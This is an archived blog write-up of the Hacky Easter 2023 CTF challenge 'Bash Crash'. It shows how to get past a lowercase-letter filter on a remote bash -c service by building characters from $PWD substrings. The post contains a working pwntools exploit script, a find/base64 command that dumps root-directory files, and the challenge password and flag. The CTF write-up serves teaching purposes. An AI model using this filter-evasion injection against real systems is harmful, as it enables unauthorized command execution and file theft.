Hacky Easter 2023: Bash Crash Writeup

A writeup for the Hacky Easter 2023 challenge Bash Crash

17. May 2023
This post was archived by me and is no longer actively maintained and listed on my site. Reasons for this may include a changed opinion, possibly outdated information, or simply the cringe level being too high. You are probably better off reading something else. For archival reasons, I keep old links alive.

This is a write-up for the Hacky Easter 2023 CTF challenge “Bash Crash”. The main challenge was character substitution inside the fake bash shell. I used existing environment variables to accomplish this.

Can you crash the bash?. The password is B4sh_br0TH3rs. Connect using nc ch.hackyeaster.com 2303. Note: The service is restarted every hour at x:00. Hint: Some characters are forbidden, in the whole string you enter.

Looking around

Once connected to the service, the following prompt appeared:

Welcome to Crash Bash!
To get the flag, call /printflag.sh with the password!
Enter "q" to quit.
----------------------
crashbash$

This “shell” however timed out rather quickly and was in fact not a real shell. Most commands I entered resulted in Invalid input, bash crashed!. At first, I thought that command injection or a jail escape is needed. But no matter what I tried, the response was always the same. Based on the hint, there are forbidden characters, so I enumerated them.

Forbidden Chars

When trying for forbidden characters, I quickly noticed that our input will be placed in a bash -c from the following output:

crashbash$ -
/bin/bash: -c: option requires an argument
crashbash$ `
/bin/bash: -c: line 1: unexpected EOF while looking for matching ``'
/bin/bash: -c: line 2: syntax error: unexpected end of file

This meant that special characters were allowed. However, the shell kept “crashing” when entering letters. Upon further testing, I noticed that it allows for uppercase letters but not lowercase letters.

crashbash$ a
Invalid input, bash crashed!
crashbash$ A
/bin/bash: line 1: A: command not found
crashbash$

This meant I needed a way of constructing /printflag.sh B4sh_br0TH3rs without using lowercase letters.

Environment variables

Since uppercase variables were allowed, I checked for the content of common environment variables.

crashbash$ $SHELL
crashbash$ $USER
crashbash$ $HOME
/bin/bash: line 1: /root: Is a directory
crashbash$ $PWD
/bin/bash: line 1: /tmp/lzmfhlnvumqyzwjtjvodxccvsmndlibw: Is a directory
crashbash$ $PS1

The present working directory (PWD) was a random folder in /tmp which many lowercase letters in its name. This was the perfect target for the next step.

Substitution

In bash, you can access a substring of an existing variable with ${HOME:2:1}. This will you the third character of the variable HOME. The first number is the position and the second number is the length of the substring you want. Since I only needed one character, the second number stayed at 1. With all the needed information gathered, it was time to build the script. First I connect to the server and send $PWD. Using regex I parse the output from the “Is a directory” error message. Then I loop over each character in the required command. If the character is a lowercase letter the script searches the character in $PWD. Not all characters needed are always present in $PWD. In that case, I just quit and try again.

Two steps back

Wrapping this in a loop, it took about 30s until I got a $PWD containing all the needed characters. However, the output when entering the payload was still Invalid input, bash crashed!. It seems that I’ve missed a bad character. And indeed I missed the dot. Since the script on the target contains a file extension, I can’t simply execute it. So I needed a command to execute the script without calling it directly (by its name). The chars ? and * were also blocked resulting in bash wildcards not being an option.

The script was located in /. Normally the root folder does not contain other files (just folders). By using find I was able to list files under this path with find / -maxdepth 1 -type f. Since find has a built-in command execution argument, I could have executed the script using find. However, I found executing all files under / a bit too risky, so I decided to get the base64 content of those files instead. This resulted in:

find / -maxdepth 1 -type f -exec base64 -w0 {} \;

This command does not contain the password needed. However, since I was getting the contents of the files, I just hoped that they contained the flag.

Final Script

After constructing the final script, it printed a big blob of base64 encoded data after about 30s.

from pwn import *
import string
import re

context.log_level = "CRITICAL"
command = r"find / -maxdepth 1 -type f -exec base64 -w0 {} \;"
pat_chars = re.compile(r"/bin/bash: line 1: (/tmp/.+): Is a directory")

while True:
    all_chars_found = True
    with remote(host="ch.hackyeaster.com", port=2303) as conn:
        conn.recvuntil(b"crashbash$ ")
        conn.sendline(b"$PWD")
        pwd_chars_raw = conn.recvline().decode()
        pwd_chars = pat_chars.search(pwd_chars_raw).group(1)
        payload = ""
        for char in command:
            if char in string.ascii_lowercase:
                index = pwd_chars.find(char)
                if index != -1:
                    payload += "${PWD:%d:1}" % index
                    continue
                else:
                    all_chars_found = False
                    break
            else:
                payload += char
        if all_chars_found:
            conn.sendline(payload.encode())
            out = conn.recv(4096).decode()
            out += conn.recv(4096).decode()
            conn.close()
            break

# he2023{gr34t_b4sh_succ3ss!}
print(out)

Since the event is over, the source for the challenge has been uploaded to GitHub↗.